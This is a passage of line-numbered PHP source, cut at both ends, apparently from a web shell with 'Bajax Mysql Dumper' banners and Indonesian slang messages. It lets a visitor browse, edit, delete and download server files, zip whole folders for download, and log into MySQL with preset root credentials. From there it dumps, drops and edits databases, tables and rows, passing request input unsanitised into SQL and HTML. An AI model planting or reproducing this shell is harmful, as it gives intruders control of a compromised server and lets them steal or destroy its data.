  699. $unc_len = strlen($data);
  700. $crc = crc32($data);
  701. $zdata = gzcompress($data);
  702. $zdata = substr( substr($zdata, 0, strlen($zdata) - 4), 2);
  703. $c_len = strlen($zdata);
  704. $fr .= pack("V",$crc);
  705. $fr .= pack("V",$c_len);
  706. $fr .= pack("V",$unc_len);
  707. $fr .= pack("v", strlen($name) );
  708. $fr .= pack("v", 0 );
  709. $fr .= $name;
  710. $fr .= $zdata;
  711. $fr .= pack("V",$crc);
  712. $fr .= pack("V",$c_len);
  713. $fr .= pack("V",$unc_len);
  714. $this -> datasec[] = $fr;
  715. $new_offset = strlen(implode("", $this->datasec));
  716. $cdrec = "\x50\x4b\x01\x02";
  717. $cdrec .="\x00\x00";
  718. $cdrec .="\x14\x00";
  719. $cdrec .="\x00\x00";
  720. $cdrec .="\x08\x00";
  721. $cdrec .="\x00\x00\x00\x00";
  722. $cdrec .= pack("V",$crc);
  723. $cdrec .= pack("V",$c_len);
  724. $cdrec .= pack("V",$unc_len);
  725. $cdrec .= pack("v", strlen($name) );
  726. $cdrec .= pack("v", 0 );
  727. $cdrec .= pack("v", 0 );
  728. $cdrec .= pack("v", 0 );
  729. $cdrec .= pack("v", 0 );
  730. $cdrec .= pack("V", 32 );
  731. $cdrec .= pack("V", $this -> old_offset );
  732. $this -> old_offset = $new_offset;
  733. $cdrec .= $name;
  734. $this -> ctrl_dir[] = $cdrec;
  735. }
  736. function file() {
  737. $data = implode("", $this -> datasec);
  738. $ctrldir = implode("", $this -> ctrl_dir);
  739. return
  740. $data.
  741. $ctrldir.
  742. $this -> eof_ctrl_dir.
  743. pack("v", sizeof($this -> ctrl_dir)).
  744. pack("v", sizeof($this -> ctrl_dir)).
  745. pack("V", strlen($ctrldir)).
  746. pack("V", strlen($data)).
  747. "\x00\x00";
  748. }
  749. function get_files_from_folder($directory, $put_into) {
  750. $sp=DIRECTORY_SEPARATOR;
  751. if ($handle = opendir($directory)) {
  752. while (false !== ($file = readdir($handle))) {
  753. if (is_file($directory.$file)) {
  754. $fileContents = file_get_contents($directory.$file);
  755. $this->add_file($fileContents, $put_into.$file);
  756. }
  757. elseif ($file != '.' && $file != '..' && is_dir($directory.$file))
  758. {
  759. $this->add_dir($put_into.$file.$sp);
  760. $this->get_files_from_folder($directory.$file.$sp, $put_into.$file.$sp);
  761. }
  762. }
  763. }
  764. closedir($handle);
  765. }
  766. function get_selected_file($files, $put_into) {
  767. $sp=DIRECTORY_SEPARATOR;
  768. foreach ($files as $file) {
  769. if (is_file($file)) {
  770. $fileContents = file_get_contents($this->dir().$file);
  771. $this->add_file($fileContents, $put_into.$file);
  772. }
  773. elseif (is_dir($file)) {
  774. $fd=basename($file).DIRECTORY_SEPARATOR;
  775. if ($handle = opendir($file)) {
  776. while (false !== ($val = readdir($handle))) {
  777. if (is_file($file.$val)) {
  778. $fileContents = file_get_contents($file.$val);
  779. $this->add_file($fileContents, $put_into.$fd.$val);
  780. }
  781. elseif ($val != '.' && $val != '..' && is_dir($file.$val))
  782. {
  783. $this->add_dir($put_into.$fd.$val.$sp);
  784. $this->get_files_from_folder($file.$val.$sp, $put_into.$fd.$val.$sp);
  785. }
  786. }
  787. }
  788. closedir($handle);
  789. }
  790. }
  791. }
  792. function get_selected($file) {
  793. $this->get_selected_file($file, '');
  794. header("Content-Disposition: attachment; filename=" .$this->cs(basename($this->dir()))."-".".zip");
  795. header("Content-Type: application/download");
  796. header("Content-Length: " . strlen($this -> file()));
  797. flush();
  798. echo $this -> file();
  799. exit();
  800. }
  801. function downloadfile($f)
  802. {
  803. $fl=file_get_contents($f);
  804. header("Content-type:application/octet-stream");
  805. header("Content-length:".strlen($fl));
  806. header("Content-Disposition:attachment;filename=".$this->cs(basename($f)));
  807. echo $fl;
  808. exit;
  809. }
  810. function downloadfolder($fd) {
  811. $this->get_files_from_folder($fd,'');
  812. header("Content-Disposition: attachment; filename=" .$this->cs(basename($fd))."-".".zip");
  813. header("Content-Type: application/download");
  814. header("Content-Length: " . strlen($this -> file()));
  815. flush();
  816. echo $this -> file();
  817. exit();
  818. }
  819.  
  820. function cs($t) {
  821. return str_replace(" ","_",$t);
  822. }
  823. function lihat($file) {
  824. $r='';
  825. $r.="<table align=center cellpadding=5 style='width:100%;font-size:12px;'><tr><td >Action</td>
  826. <td ><a href='?act=edit&dir=".$this->dir()."&file=$file'>Edit</a> &nbsp;|&nbsp;<a href='?act=down&file=".$this->replace($file)."'>Download</a>
  827. |&nbsp; <a href='?act=file&act2=del&file=".$this->replace($file)."'>Del</a></td></tr><table>";
  828. $r.="<div id='see'>";
  829. $file = wordwrap(file_get_contents($file),"240","\n");
  830. $li= highlight_string($file,true);
  831. $old = array("0000BB","000000","FF8000","DD0000", "007700");
  832. $new = array("4C83AF","888888", "87DF45", "EEEEEE" , "FF8000");
  833. $r.= str_replace($old,$new, $li);
  834. $r.="</div>";
  835. return $r;
  836. }
  837. function edit($file) {
  838. $d=$this->dir();
  839. $fp = fopen($file,'r');
  840. if (!$fp)
  841. return false;
  842. $r = '';
  843. $r .= '<div id="isi"><form action="?act=file&dir='.$d.'&file='.$file.'" method="post"><input type="hidden" name="action" value="editfile">'.'<input type="hidden" name="file" value="'.$file.'"><tr>';
  844. $r .= '<textarea name="isi">'.(htmlspecialchars(fread($fp, filesize($file)))).'</textarea><br />';
  845. $r .= '<span style="color:#fff;margin-right:5px;text-align:center">Rename : </span><input type="text" name="rename" value="'.$file.'" style="width:800px;border:1px solid #00A600;-moz-border-radius:3px;-webkit-border-radius:3px;background:#000;color:#fff;padding:3px;"></span> <br /><input type="submit" id="but" value="Save" /></td></tr>';
  846. $r .= '</form></div>';
  847. fclose($fp);
  848. return $r;
  849. }
  850. function ren($file) {
  851. $d=$this->dir();
  852. $r='';
  853. $r.="<div id='isi'><form action='?act=file&dir=".$d."' method='post'>";
  854. $r.='<input type="hidden" name="action" value="renamed">';
  855. $r.='<center><input type="text" name="file" value="'.$file.'" style="width:400px;border:1px solid #00A600;-moz-border-radius:3px;-webkit-border-radius:3px;background:#000;color:#fff;padding:3px;"> To <input type="text" name="rename" style="width:400px;border:1px solid #00A600;-moz-border-radius:3px;-webkit-border-radius:3px;background:#000;color:#fff;padding:3px;"></center><br /><input type="submit" id="but" value="Rename"></form></div>';
  856. return $r;
  857. }
  858. function login() {
  859. if(!isset($_SESSION['login'])&&!isset($_POST['masuk']))
  860. {
  861. $r='';
  862. $r.= '<div id="center"><form method="post" action="?act=mysql">Host : <input id="box" type="text" name="host" value="localhost">Username :<input type="text" name="user" id="box" value="root">Password <input type="text" id="box" name="pass"><input type="number" id="box" value="3306" name="port"><input type="submit" value="login" name="masuk" id="but"></div></form>';
  863. return $r;
  864. }
  865. elseif(!isset($_SESSION['login'])&&isset($_POST['masuk']))
  866. {
  867. extract($_POST);
  868. $this->pdo=$this->pdo_con($host,$port,$user,$pass);
  869. if (strpos($this->pdo,"error")===false) {
  870. $_SESSION['host']=$_POST['host'];
  871. $_SESSION['port']=$_POST['port'];
  872. $_SESSION['user']=$_POST['user'];
  873. $_SESSION['pass']=$_POST['pass'];
  874. $_SESSION['login']=true;
  875. header("location:?act=view&dir=".$this->dir()."");
  876. } else {
  877. header("location:?act=mysql");
  878. }
  879. }
  880. else header("location:?act=view&dir=".$this->dir()."");
  881. }
  882. function connector($db=NULL) {
  883. extract($_SESSION);
  884. try {
  885. $this->pdo = new PDO("mysql:host=$host;dbname=$db;port=$port", "$user","$pass" );
  886. $this->pdo->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );
  887. }
  888. catch( PDOException $e ) {
  889. return "error ". $e->getMessage();
  890. }
  891. }
  892. function pdo_con($host,$port,$user,$pass) {
  893. try {
  894. $this->pdo = new PDO("mysql:host=$host;port=$port", "$user","$pass" );
  895. $this->pdo->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );
  896. }
  897. catch( PDOException $e ) {
  898. return "error ". $e->getMessage();
  899. }
  900. }
  901. function check() {
  902. if (strpos($this->connector(), "error")===false) {
  903. return true;
  904. } else {
  905. return false;
  906. }
  907. }
  908. function qe( $sql,$data=null) {
  909. if ($data!==null) {
  910. $dat=array_values($data);
  911. }
  912. $sel = $this->pdo->prepare( $sql );
  913. if ($data!==null) {
  914. $sel->execute($dat);
  915. } else {
  916. $sel->execute();
  917. }
  918. $sel->setFetchMode( PDO::FETCH_OBJ );
  919. return $sel;
  920. }
  921. function qer2( $sql) {
  922. $sel = $this->pdo->prepare( $sql );
  923. $sel->execute();
  924. $sel->setFetchMode( PDO::FETCH_ASSOC );
  925. return $sel;
  926. }
  927. function qer( $sql) {
  928. $sel = $this->pdo->prepare( $sql );
  929. $sel->execute();
  930. return $sel;
  931. }
  932. function insert($table,$dat) {
  933. if( $dat !== null )
  934. $data = array_values( $dat );
  935. $cols=array_keys($dat);
  936. $col=implode(', ', $cols);
  937. $mark=array();
  938. foreach ($data as $key) {
  939. $keys='?';
  940. $mark[]=$keys;
  941. }
  942. $im=implode(', ', $mark);
  943. $ins = $this->pdo->prepare("INSERT INTO $table ($col) values ($im)");
  944. $ins->execute( $data );
  945. }
  946. function update($table,$dat,$id,$val) {
  947. if( $dat !== null )
  948. $data = array_values( $dat );
  949. array_push($data,$val);
  950. $cols=array_keys($dat);
  951. $mark=array();
  952. foreach ($cols as $col) {
  953. $mark[]=$col."=?";
  954. }
  955. $im=implode(', ', $mark);
  956. $ins = $this->pdo->prepare("UPDATE $table SET $im where $id=?");
  957. $ins->execute( $data );
  958. }
  959. function toArray($d) {
  960. if (is_object($d)) {
  961. $d = get_object_vars($d);
  962. }
  963. if (is_array($d)) {
  964. return array_map(array($this,'toArray'), $d);
  965. }
  966. else {
  967.  
  968. return $d;
  969. }
  970. }
  971. function close()
  972. {
  973. $r=$this->pdo = null;
  974. return $r;
  975. }
  976. function logout() {
  977. extract($_SESSION);
  978. return "<center>$user@$host <a href='?act=logout'>Logout</a></center>";
  979. }
  980. function lihatdb() {
  981. $r='';
  982. $c=$this->check();
  983. if($c==true) {
  984. $r.=$this->logout();
  985. $r.="<div id='isi'><table width=50% align='center' cellspacing=0 class='xpltab'><tr><th>Database</th><th>Table count</th><th>Size</th><th>Download</th><th>Drop</th></tr>";
  986. $list=$this->qe("SHOW DATABASES");
  987. foreach ($list as $isi) {
  988. $db_size=0;
  989. $tbl=$this->qe("SHOW TABLES FROM $isi->Database");
  990. $siz=$this->qe("SHOW TABLE STATUS FROM $isi->Database");
  991. foreach ($siz as $ni) {
  992. $db_size += $ni->Data_length+$ni->Index_length;
  993. }
  994. $tbl_count=$tbl->rowCount();
  995. $r.= "<tr><td><a href='?act=showtable&db=$isi->Database'>$isi->Database</td><td>$tbl_count</td><td>".$this->getSize($db_size)."</td><td><a href='?act=downdb&db=$isi->Database'>Full</a> | <a href='?act=downstruc&db=$isi->Database'>Structures</a></td><td><a href='?act=dropdb&db=$isi->Database'>Drop</a></td></tr>";
  996. }
  997. $r.= "</table></br><center><form action='?act=mysql' method='post'>New database <input type='text' value='new_db' name='dbname' id='box'><input type='hidden' name='action' value='createdb'><input type='submit' value='create' id='but'></form></center>";
  998. $r.="</div>";
  999. }
  1000. else {
  1001. session_destroy();
  1002. $r.="gagal brow";
  1003. }
  1004. $this->close();
  1005. return $r;
  1006. }
  1007. function showtable() {
  1008. $db=$_GET['db'];
  1009. $c=$this->connector($db);
  1010. $r='';
  1011. $r.=$this->logout();
  1012. $r.="<div id='isi'>
  1013. <center><a href='?act=mysql'>Show Database</a></center><br />
  1014. <table width=50% align='center' class='xpltab' cellspacing=0 ><tr><th style='border-left:thin solid #00A600;'>Table Name</th><th>Table Type</th><th>Column count</th><th>Size</th><th>Dump</th><th>Drop</th></tr>";
  1015. $query=$this->qe("SHOW TABLE STATUS");
  1016. foreach ($query as $data) {
  1017. $iml=$this->qe("SHOW COLUMNS FROM $data->Name");
  1018. $name=$data->Name;
  1019. $ni=$data->Data_length+$data->Index_length;
  1020. $h=($iml->rowCount())?$iml->rowCount():0;
  1021. $r.= "<tr><td><a href='?act=showcon&db=$db&table=$name'>$name</td><td>".($data->Comment?$data->Comment:"<font color='#00A600'>TABLE</font>")."</td><td>$h</td><td>".$this->getSize($ni)."</td><td><a href='?act=downdb&db=$db&table=$name'>Dump</a></td><td><a href='?act=dropdb&db=$db&tbl=$name'>Drop</a></td></tr>";
  1022. }
  1023. $r.= "</table></div>";
  1024. return $r;
  1025. $this->close();
  1026. }
  1027. function editrow() {
  1028. $c=$this->connector($_GET['db']);
  1029. $r='';
  1030. $r.=$this->logout();
  1031. $db=$_GET['db'];
  1032. $tbl=$_GET['table'];
  1033. $val=$_GET['val'];
  1034. $col=$_GET['col'];
  1035. $r.="<div id='isi'>
  1036. <center><a href='?act=showtable&db=$db'>Show Tables </a></center><br />";
  1037. $r.="<form method='post' action='?act=showcon&db=$db&table=$tbl&col=$col&val=$val'>";
  1038. $r.="<table width=100% align='center' cellspacing=0 class='xpltab'>";
  1039. $cols=array();
  1040. $iml=$this->qe("SHOW COLUMNS FROM $tbl");
  1041. $query=$this->qer2("SELECT * FROM $tbl WHERE $col='$val'");
  1042. foreach ($iml as $colom) {
  1043. $cols[]=$colom->Field;
  1044. }
  1045. foreach ($query as $data) {
  1046. for($i=0;$i<count($cols);$i++)
  1047. {
  1048. $pt=$cols[$i];
  1049. $r.="<tr><td style='border:none'>".$pt."</td><td style='border:none'>".' : <input id="sqlbox" type="text" name="'.$cols[$i].'" value="'.$data[$pt].'"></td></tr>';
  1050.  
  1051. }
  1052. }
  1053. $r.="</table><input type='hidden' name='action' value='updaterow'><input id='but' type='submit' value='update'></form></div>";
  1054. return $r;
  1055. }
  1056. function updaterow() {
  1057. $this->connector($_GET['db']);
  1058. $db=$_GET['db'];
  1059. $tbl=$_GET['table'];
  1060. $val=$_GET['val'];
  1061. $col=$_GET['col'];
  1062. array_pop($_POST);
  1063. $res=$this->update($tbl,$_POST,$col,$val);
  1064. ($res=false?$r.="you can't do that":$r.="Updated");
  1065. $r.=header("location:?act=showcon&db=$db&table=$tbl");
  1066. }
  1067. function showcon() {
  1068. $db=$_GET['db'];
  1069. $c=$this->connector($db);
  1070. $r='';
  1071. $r.=$this->logout();
  1072. $tbl=$_GET['table'];
  1073. $r.="<div id='isi'><center><a href='?act=showtable&db=$db'>Show Tables </a></center><br /><table width=100% align='center' cellspacing=0 class='xpltab'><tr>";
  1074. $query=$this->qe("SELECT * FROM $tbl");
  1075. $col=array();
  1076. $iml=$this->qe("SHOW COLUMNS FROM $tbl");
  1077. $r.="<tr>";
  1078. foreach ($iml as $c) {
  1079. array_push($col,$c->Field);
  1080. $r.="<th style='border:thin solid #000;'>".strtoupper($c->Field)."</th>";
  1081. }
  1082. $r.="<th>Action</th></tr>";
  1083. $row=$query->rowCount();
  1084. $perpage=50;
  1085. $lastpage=ceil($row/$perpage);
  1086. $range=10;
  1087. $page=(isset($_GET['page']))?(int)$_GET['page']:1;
  1088. if ($page<1) {
  1089. $page=1;
  1090. } elseif ($page>$lastpage) {
  1091. $page=$lastpage;
  1092. }
  1093. $offset=($page-1)*$perpage;
  1094. $no=$offset;
  1095. if ($row <=50) {
  1096. $query2=$this->qe("SELECT * FROM $tbl");
  1097. } else {
  1098. $query2=$this->qe("SELECT * FROM $tbl limit $offset,$perpage");
  1099. }
  1100.  
  1101. if ($page<6 && $lastpage > $range) {
  1102. $start=1;
  1103. } elseif($page > 5 &&$lastpage >$range) {
  1104. $start=$page-5;
  1105. } else {
  1106. $start=$lastpage-9;
  1107. }
  1108.  
  1109. if ($page > 5 && $lastpage > $range) {
  1110. $end=$page+4;
  1111. } else {
  1112. $end=$range;
  1113. }
  1114. foreach ($query2 as $data) {
  1115. $cols=$iml->rowCount();
  1116. $r.="<tr>";
  1117. foreach ($data as $da) {
  1118.  
  1119. if ($da=='') {
  1120. $r.="<td style='border-right:thin solid #00A600;'>&nbsp;</td>";
  1121. } else {
  1122. $r.="<td style='border-right:thin solid #00A600;'>$da</td>";
  1123. }
  1124. }
  1125. $isi=array();
  1126. foreach ($data as $isi_val) {
  1127. $isi[]=$isi_val;
  1128. }
  1129. $r.="<td><a href='?act=editrow&db=$db&table=$tbl&col=$col[0]&val=$isi[0]'>Edit</a> | <a href='?act=delrow&db=$db&table=$tbl&col=$col[0]&val=$isi[0]'>Delete</a>";
  1130. $r.="</td></tr>";
  1131. }
  1132. $r.="</table>";
  1133. if ($row>=50) {
  1134. $r.= "<p><center>page $page of $lastpage";
  1135. $r.= "<a href='?page=".($page-1)."'> Previous </a>";
  1136. for ($i=$start; $i <=$end ; $i++) {
  1137. if ($i>0 && $i<=$lastpage) {
  1138. if ($page==$i) {
  1139. $r.= "<a style=\"padding:3px;color:#fff\" href='?act=showcon&db=$db&table=$tbl&page=".$i."'>$i </a>";
  1140. }else {
  1141. $r.= "<a style=\"padding:3px;\" href='?act=showcon&db=$db&table=$tbl&page=".$i."'>$i </a>";
  1142. }
  1143. }
  1144. }
  1145. $r.= "<a href='?page=".($page+1)."'>Next</a></center><br />";
  1146. }
  1147. $r.= "<br /><center><br><a href='?act=insertrow&db=$db&table=$tbl'><input type='button' id='but' value='Insert Row'></a></center></div>";
  1148. return $r;
  1149. }
  1150. function insertrow() {
  1151. $db=$_GET['db'];
  1152. $this->connector($db);
  1153. $db=$_GET['db'];
  1154. $tbl=$_GET['table'];
  1155. $r='';
  1156. if(!isset($_POST['kirim']))
  1157. {
  1158. $r.="<div id='isi'><center><a href='?act=showtable&db=$db'>Show Tables </a></center><br />";
  1159. $r.="<form method='post' action='?act=showcon&db=$db&table=$tbl'>";
  1160. $r.="<table width=100% align='center' cellspacing=0 class='xpltab'>";
  1161.  
  1162. $cols=array();
  1163. $iml=$this->qe("SHOW COLUMNS FROM $tbl");
  1164. foreach ($iml as $colom) {
  1165. $cols[]=$colom->Field;
  1166. }
  1167. for($i=0;$i<count($cols);$i++)
  1168. {
  1169. $pt=$cols[$i];
  1170. $r.="<tr><td style='border:none'>".$pt."</td><td style='border:none'>".' : <input id="sqlbox" type="text" name="'.$cols[$i].'"></td></tr>';
  1171. }
  1172. $r.="</table><input type='hidden' name='action' value='insertrow'><input id='but' type='submit' name='kirim' value='Insert'></form></div>";
  1173. return $r;
  1174. } else {
  1175. array_pop($_POST);
  1176. array_pop($_POST);
  1177. $this->insert($tbl,$_POST);
  1178. ($qu=false?$r.="Failed brow":$r.="Success");
  1179. $r.="<script>window.location='?act=showcon&db=$db&table=$tbl';</script>";
  1180. }
  1181. return $r;
  1182. }
  1183. function droprow() {
  1184. $this->connector($_GET['db']);
  1185. $this->qe("DELETE FROM $_GET[table] WHERE $_GET[col]='$_GET[val]'");
  1186. $r.=header("location:?act=showcon&db=$_GET[db]&table=$_GET[table]");
  1187. }
  1188. function createdb($name) {
  1189. $this->connector();
  1190. if(!empty($name))
  1191. {
  1192. $q=$this->qe("CREATE DATABASE $name");
  1193. (!$q?$r.=mysql_error():$r.="Good Brow");
  1194. }
  1195. else $r.="Fill DB Name";
  1196. return $r;
  1197. }
  1198. function dropsql() {
  1199. $this->connector();
  1200. if(!isset($_GET['tbl'])){
  1201. $d=$this->qe("DROP DATABASE $_GET[db]");
  1202. header("location:?act=mysql");
  1203. }
  1204. elseif(isset($_GET['db'])&&isset($_GET['tbl']))
  1205. {
  1206. $this->qe("DROP TABLE $_GET[db].$_GET[tbl]");
  1207. header("location:?act=showtable&db=$_GET[db]");
  1208. }
  1209. }
  1210. function downdb()
  1211. {
  1212. $db=$_GET['db'];
  1213. $c=$this->connector($db);
  1214. $r='';
  1215. if (isset($_GET['db'])&&!isset($_GET['table'])) {
  1216. $r.="--------------------------------\n";
  1217. $r.="-- =========================Bajax Mysql Dumper =============================\n-- Database : `$db`\n";
  1218. $r.="-------------------------------\n\n";
  1219. $pr=array();
  1220. $fun=array();
  1221. $show_table=$this->qe("SHOW PROCEDURE status where db='test'");
  1222. foreach ($show_table as $key) {
  1223. if (count($key)>0) {
  1224. $proc=$this->qer("SHOW CREATE PROCEDURE test.$key->Name");
  1225. foreach ($proc as $proced) {
  1226. $pr[]=$proced[2];
  1227. }
  1228. }
  1229. }
  1230. $show_table=$this->qe("SHOW FUNCTION status where db='test'");
  1231. foreach ($show_table as $key) {
  1232. if (count($key)>0) {
  1233. $proc=$this->qer("SHOW CREATE FUNCTION test.$key->Name");
  1234. foreach ($proc as $proceds) {
  1235. $fun[]=$proced[2];
  1236. }
  1237. }
  1238. }
  1239. $pro_func='';
  1240. if (count($pr)>0 OR count($fun)>0) {
  1241. $pro_func.="DELIMITER $$\n\n";
  1242. if (count($pr)>0) {
  1243. $pro_func.="--\n";
  1244. $pro_func.="-- PROCEDURE\n";
  1245. $pro_func.="--\n";
  1246. foreach ($pr as $procedure) {
  1247. $pro_func.=$procedure."$$\n\n";
  1248. }
  1249. }
  1250. if (count($fun)>0) {
  1251. $pro_func.="--\n";
  1252. $pro_func.="-- FUNCTION\n";
  1253. $pro_func.="--\n";
  1254. foreach ($fun as $funct) {
  1255. $pro_func.=$funct."$$\n\n";
  1256. }
  1257. }
  1258. $pro_func.="DELIMITER ;\n\n";
  1259. }
  1260. $r.=$pro_func;
  1261.  
  1262. $table=array();
  1263. $table_name=$this->qe("SHOW TABLE STATUS");
  1264. foreach ($table_name as $d) {
  1265. $table[]=$d->Name;
  1266. }
  1267. $status=array();
  1268. $stats=$this->qe("SHOW TABLE STATUS");
  1269. foreach ($stats as $stat) {
  1270. $stats=array($stat->Name=>"");
  1271. foreach ($stats as $key => $value) {
  1272. if ($stat->Engine!=''&&$stat->Auto_increment!='') {
  1273. $status[]="ENGINE=".$stat->Engine." DEFAULT COLLATE=".$stat->Collation." AUTO_INCREMENT=".$stat->Auto_increment;
  1274. }elseif ($stat->Engine!='') {
  1275. $status[]="ENGINE=".$stat->Engine." DEFAULT COLLATE=".$stat->Collation;
  1276. }else {
  1277. $status[]='';
  1278. }
  1279. }
  1280. }
  1281. foreach ($table as $tab) {
  1282. $cols=$this->qe("SHOW COLUMNS FROM $tab");
  1283. $inds=$this->qe("SHOW INDEX FROM $tab");
  1284. $r.= "--\n";
  1285. $r.= "-- Table structure for table `$tab`\n";
  1286. $r.= "--\n\n";
  1287. $r.= "CREATE TABLE IF NOT EXISTS `$tab` (\n";
  1288. $c='';
  1289. foreach ($cols as $col) {
  1290. $c.= "`$col->Field` $col->Type ";
  1291. if($col->Null=='YES' && $col->Default=='') {
  1292. $c.= "DEFAULT NULL";
  1293. }elseif($col->Null=='NO') {
  1294. $c.= 'NOT NULL';
  1295. }elseif ($col->Null=='YES'&&$col->Default!='') {
  1296. $c.= "DEFAULT $col->Default";
  1297. }
  1298. if ($col->Extra!='') {
  1299. $c.= " ".strtoupper($col->Extra);
  1300. }
  1301. $c.= ", \n";
  1302. }
  1303. $ar=array();
  1304. foreach ($inds as $key) {
  1305. $ar[]=$key;
  1306. }
  1307. $sr=array();
  1308. $s=$this->toArray($ar);
  1309. foreach ($s as $key) {
  1310. if (strpos($key['Key_name'],"PRIMARY")!==false) {
  1311. $sr[]= "PRIMARY KEY "."(`$key[Column_name]`)";
  1312. }elseif (strpos($key['Key_name'], "FK")!==false) {
  1313. $sr[]="KEY "."`$key[Key_name]` (`$key[Column_name]`)";
  1314. }
  1315. }
  1316. $imp=implode(", \n", $sr);
  1317. if ($imp=='') {
  1318. $r.= substr($c, 0,-3)."\n";
  1319. } else {
  1320. $r.= $c.$imp."\n";
  1321. }
  1322. $r.= ")";
  1323. foreach ($status as $key => $value) {
  1324. if ($tab==$key) {
  1325. $r.= $value.";\n\n";
  1326. }
  1327. }
  1328. $select=$this->qer2("SELECT * FROM $tab");
  1329. foreach ($select as $data) {
  1330. if (!empty($data)) {
  1331. $col=implode(', ',array_keys($data));
  1332. $val=implode("', '",array_values($data));
  1333. $r.= "INSERT INTO `$tab` ($col) VALUES ('$val');\n";
  1334. }
  1335. }
  1336. $r.= "\n";
  1337. }
  1338. $view=array();
  1339. $views=$this->qer("SHOW FULL TABLES where Table_type like 'VIEW'");
  1340. foreach ($views as $ve) {
  1341. $view[]=$ve;
  1342. }
  1343. if (count($view)>0) {
  1344. foreach ($view as $view_name) {
  1345. $view_create=$this->qer("SHOW CREATE VIEW $view_name[0]");
  1346. foreach ($view_create as $create_view) {
  1347. echo "DROP TABLE IF EXISTS `$view_name[0]`;\n".$create_view[1].";\n\n";
  1348. }
  1349. }
  1350. }
  1351. $index2=array();
  1352. foreach ($table as $tab2) {
  1353. if (count($tab2)>0) {
  1354. $find_const=$this->qer("SHOW CREATE TABLE $tab2");
  1355. foreach ($find_const as $got_const) {
  1356. $tmp=strstr($got_const[1], "CONSTRAINT")."\n";
  1357. preg_match_all("/(.*)\\n/", $tmp, $match);
  1358. if (count($tmp)>0) {
  1359. $index2[]="ALTER TABLE `$tab2` ADD ".$match[0][0].";";
  1360. }
  1361. }
  1362. }
  1363. }
  1364. if (count($index2)>0) {
  1365. foreach ($index2 as $constraint) {
  1366. if (strpos($constraint, "CONSTRAINT")!==FALSE) {
  1367. $r.= $constraint."\n";
  1368. }
  1369. }
  1370. }
  1371. }
  1372. //downloading database
  1373. elseif(isset($_GET['db'])&&isset($_GET['table']))
  1374. {
  1375. $r='';
  1376. $tbl=$_GET['table'];
  1377. $r.="-- =========================Bajax Table Dumper =============================\n-- Database : `$db`\n\n";
  1378. $r.="--\n";
  1379. $r.="--Table or view structure for `$tbl`\n";
  1380. $r.="--\n\n";
  1381. $checks=$this->qer("SHOW CREATE TABLE $tbl");
  1382. foreach ($checks as $check) {
  1383. $r.=$check[1]."\n";
  1384. }
  1385. $checks=$this->qer("SHOW FULL TABLES");
  1386. foreach ($checks as $check_type) {
  1387. if ($check_type[0]==$tbl&&$check_type[1]=='BASE TABLE') {
  1388. $select=$db->qer2("SELECT * FROM $tbl");
  1389. foreach ($select as $data) {
  1390. if (!empty($data)) {
  1391. $col=implode(', ',array_keys($data));
  1392. $val=implode("', '",array_values($data));
  1393. $r.="INSERT INTO `$tbl` ($col) VALUES ('$val');\n";
  1394. }
  1395. }
  1396. }
  1397. }
  1398. }
  1399. else echo "i don't know brow";
  1400.  
  1401. (!isset($tbl)?$name="$db.sql":$name="$db.$tbl.sql");
  1402. ob_get_clean();
  1403. header("Content-type:application/octet-stream");
  1404. header("Content-length:".strlen($r));
  1405. header("Content-Disposition:attachment;filename=$name;");
  1406. echo $r;
  1407. exit();
  1408. }
  1409. function downstruc() {
  1410. $db=$_GET['db'];
  1411. $c=$this->connector($db);
  1412. $r='';
  1413. if(isset($_GET['db'])&&!isset($_GET['tbl'])) {
  1414.  
  1415. $r.="--------------------------------\n";
  1416. $r.="-- =========================Bajax Mysql Dumper Structures =============================\n-- Database : `$db`\n";
  1417. $r.="-------------------------------\n\n";
  1418. $pr=array();
  1419. $fun=array();
  1420. $show_table=$this->qe("SHOW PROCEDURE status where db='test'");
  1421. foreach ($show_table as $key) {
  1422. if (count($key)>0) {
  1423. $proc=$this->qer("SHOW CREATE PROCEDURE test.$key->Name");
  1424. foreach ($proc as $proced) {
  1425. $pr[]=$proced[2];
  1426. }
  1427. }
  1428. }
  1429. $show_table=$this->qe("SHOW FUNCTION status where db='test'");
  1430. foreach ($show_table as $key) {
  1431. if (count($key)>0) {
  1432. $proc=$this->qer("SHOW CREATE FUNCTION test.$key->Name");
  1433. foreach ($proc as $proceds) {
  1434. $fun[]=$proced[2];
  1435. }
  1436. }
  1437. }
  1438. $pro_func='';
  1439. if (count($pr)>0 OR count($fun)>0) {
  1440. $pro_func.="DELIMITER $$\n\n";
  1441. if (count($pr)>0) {
  1442. $pro_func.="--\n";
  1443. $pro_func.="-- PROCEDURE\n";
  1444. $pro_func.="--\n";
  1445. foreach ($pr as $procedure) {
  1446. $pro_func.=$procedure."$$\n\n";
  1447. }
  1448. }
  1449. if (count($fun)>0) {
  1450. $pro_func.="--\n";
  1451. $pro_func.="-- FUNCTION\n";
  1452. $pro_func.="--\n";
  1453. foreach ($fun as $funct) {
  1454. $pro_func.=$funct."$$\n\n";
  1455. }
  1456. }
  1457. $pro_func.="DELIMITER ;\n\n";
  1458. }
  1459. $r.=$pro_func;
  1460.  
  1461. $table=array();
  1462. $table_name=$this->qe("SHOW TABLE STATUS");
  1463. foreach ($table_name as $d) {
  1464. $table[]=$d->Name;
  1465. }
  1466. $status=array();
  1467. $stats=$this->qe("SHOW TABLE STATUS");
  1468. foreach ($stats as $stat) {
  1469. $stats=array($stat->Name=>"");
  1470. foreach ($stats as $key => $value) {
  1471. if ($stat->Engine!=''&&$stat->Auto_increment!='') {
  1472. $status[]="ENGINE=".$stat->Engine." DEFAULT COLLATE=".$stat->Collation." AUTO_INCREMENT=".$stat->Auto_increment;
  1473. }elseif ($stat->Engine!='') {
  1474. $status[]="ENGINE=".$stat->Engine." DEFAULT COLLATE=".$stat->Collation;
  1475. }else {
  1476. $status[]='';
  1477. }
  1478. }
  1479. }
  1480. foreach ($table as $tab) {
  1481. $cols=$this->qe("SHOW COLUMNS FROM $tab");
  1482. $inds=$this->qe("SHOW INDEX FROM $tab");
  1483. $r.= "--\n";
  1484. $r.= "-- Table structure for table `$tab`\n";
  1485. $r.= "--\n\n";
  1486. $r.= "CREATE TABLE IF NOT EXISTS `$tab` (\n";
  1487. $c='';
  1488. foreach ($cols as $col) {
  1489. $c.= "`$col->Field` $col->Type ";
  1490. if($col->Null=='YES' && $col->Default=='') {
  1491. $c.= "DEFAULT NULL";
  1492. }elseif($col->Null=='NO') {
  1493. $c.= 'NOT NULL';
  1494. }elseif ($col->Null=='YES'&&$col->Default!='') {
  1495. $c.= "DEFAULT $col->Default";
  1496. }
